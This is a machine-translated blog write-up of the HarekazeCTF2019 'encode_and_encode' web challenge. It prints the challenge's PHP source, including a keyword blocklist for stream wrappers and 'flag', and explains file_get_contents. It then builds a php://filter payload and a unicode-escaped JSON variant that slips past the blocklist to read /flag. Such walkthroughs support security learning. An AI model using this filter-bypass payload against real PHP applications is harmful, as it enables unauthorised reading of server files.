当前位置:网站首页>[HarekazeCTF2019]encode_ and_ encode
[HarekazeCTF2019]encode_ and_ encode
2022-07-27 00:49:00 【A new reading of the tea classic】
[HarekazeCTF2019]encode_and_encode

Click in one by one and find them respectively :


<?php
error_reporting(0);
if (isset($_GET['source'])) {
show_source(__FILE__);
exit();
}
function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
$body = file_get_contents('php://input');
$json = json_decode($body, true);
if (is_valid($body) && isset($json) && isset($json['page'])) {
$page = $json['page'];
$content = file_get_contents($page);
if (!$content || !is_valid($content)) {
$content = "<p>not found</p>\n";
}
} else {
$content = '<p>invalid request</p>';
}
// no data exfiltration!!!
$content = preg_replace('/HarekazeCTF\{.+\}/i', 'HarekazeCTF{<censored>}', $content);
echo json_encode(['content' => $content]);function is_valid($str) {
$banword = [
// no path traversal
'\.\.',
// no stream wrapper
'(php|file|glob|data|tp|zip|zlib|phar):',
// no data exfiltration
'flag'
];
$regexp = '/' . implode('|', $banword) . '/i';
if (preg_match($regexp, $str)) {
return false;
}
return true;
}
Audit the above code to know , Filter a lot of keywords
$body = file_get_contents('php://input');
$json = json_decode($body, true);Audit the above code to know , We need to use json In the same way page, And pseudo protocol will be used , And it will involve php file_get_contents function :
php file_get_contents() function :
Definition and usage :
file_get_contents() Function to read the entire file into a string .
and file() equally , The difference is file_get_contents() Read the file into a string .
file_get_contents() Function is the preferred method for reading the contents of a file into a string . If the operating system supports , Memory mapping technology is also used to enhance performance .
grammar :
file_get_contents(path,include_path,context,start,max_length)
Parameters :
path It's necessary . Specify the file to read . include_path Optional . If you want to stay in include_path( stay php.ini in ) Search for files in , Please set the parameter to '1'. context Optional . Specifies the environment of the file handle .context Is a set of options that can modify the behavior of a flow . If you use NULL, It ignores . start Optional . Specify where to start reading in the file . This parameter is PHP 5.1 In the new . max_length Optional . Specifies the number of bytes to read . This parameter is PHP 5.1 In the new . Tips and notes :
Tips : This function is binary safe .( Binary data ( Such as images ) And character data can be written using this function .)
Example :
<?php
echo file_get_contents("test.txt");
?>
The above code will output :
This is a test with test text.
structure payload:
{"page":"php://filter/convert.base64-encode/resource=/flag"}
But because of keywords flag、php It's all banned , You can use unicode Code instead of , Construct new payload:
{"page":"\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}
utilize bp Send the data , After capturing the package, click about When , The page came out {"page":"pages/about.html"}, So use this page to transfer values , Got it. base64 Encrypted string :

Decryption flag:

边栏推荐
- [qt] meta object system
- DOM day_ 02 (7.8) web page production process, picture SRC attribute, carousel chart, custom attribute, tab bar, input box event, check operation, accessor syntax
- Medical data of more than 4000 people has been exposed for 16 years
- [HITCON 2017]SSRFme
- Use csrftester to automatically detect CSRF vulnerabilities
- [HFCTF2020]EasyLogin
- JSCORE day_ 02(7.1)
- 公司给了IP地址如何使用(详细版)
- Comparative simulation of LEACH protocol performance, including the number of dead nodes, data transmission, network energy consumption, the number of cluster heads and load balance
- 2020-12-20 九九乘法表
猜你喜欢
随机推荐
Elaborate on the differences and usage of call, apply and bind 20211031
Two methods of automated testing XSS vulnerabilities using burpsuite
[4.1 prime number and linear sieve]
[4.6 detailed explanation of Chinese remainder theorem]
postman的使用
Alibaba internal "shutter" core advanced notes~
Looking for the real murderer
2022.7.9DAY601
啊啊啊啊啊啊啊a
DOM day_04(7.12)BOM、打开新页面(延迟打开)、地址栏操作、浏览器信息读取、历史操作
[RootersCTF2019]I_<3_Flask
[qt] container class, iterator, foreach keyword
Consistency inspection and evaluation method kappa
[qt] solve the problem of Chinese garbled code
CDs simulation of minimum dominating set based on MATLAB
【4.7 高斯消元详解】
寻找真凶
Comparative simulation of LEACH protocol performance, including the number of dead nodes, data transmission, network energy consumption, the number of cluster heads and load balance
el-checkbox中的checked勾选状态问题 2021-08-02
[HITCON 2017]SSRFme

![[NPUCTF2020]ezinclude](/img/24/ee1a6d49a74ce09ec721c1a3b5dce4.png)
![[By Pass] 文件上传的绕过方式](/img/72/d3e46a820796a48b458cd2d0a18f8f.png)

![[acwing game 61]](/img/83/c9a43536705451a60252720fc41d14.jpg)




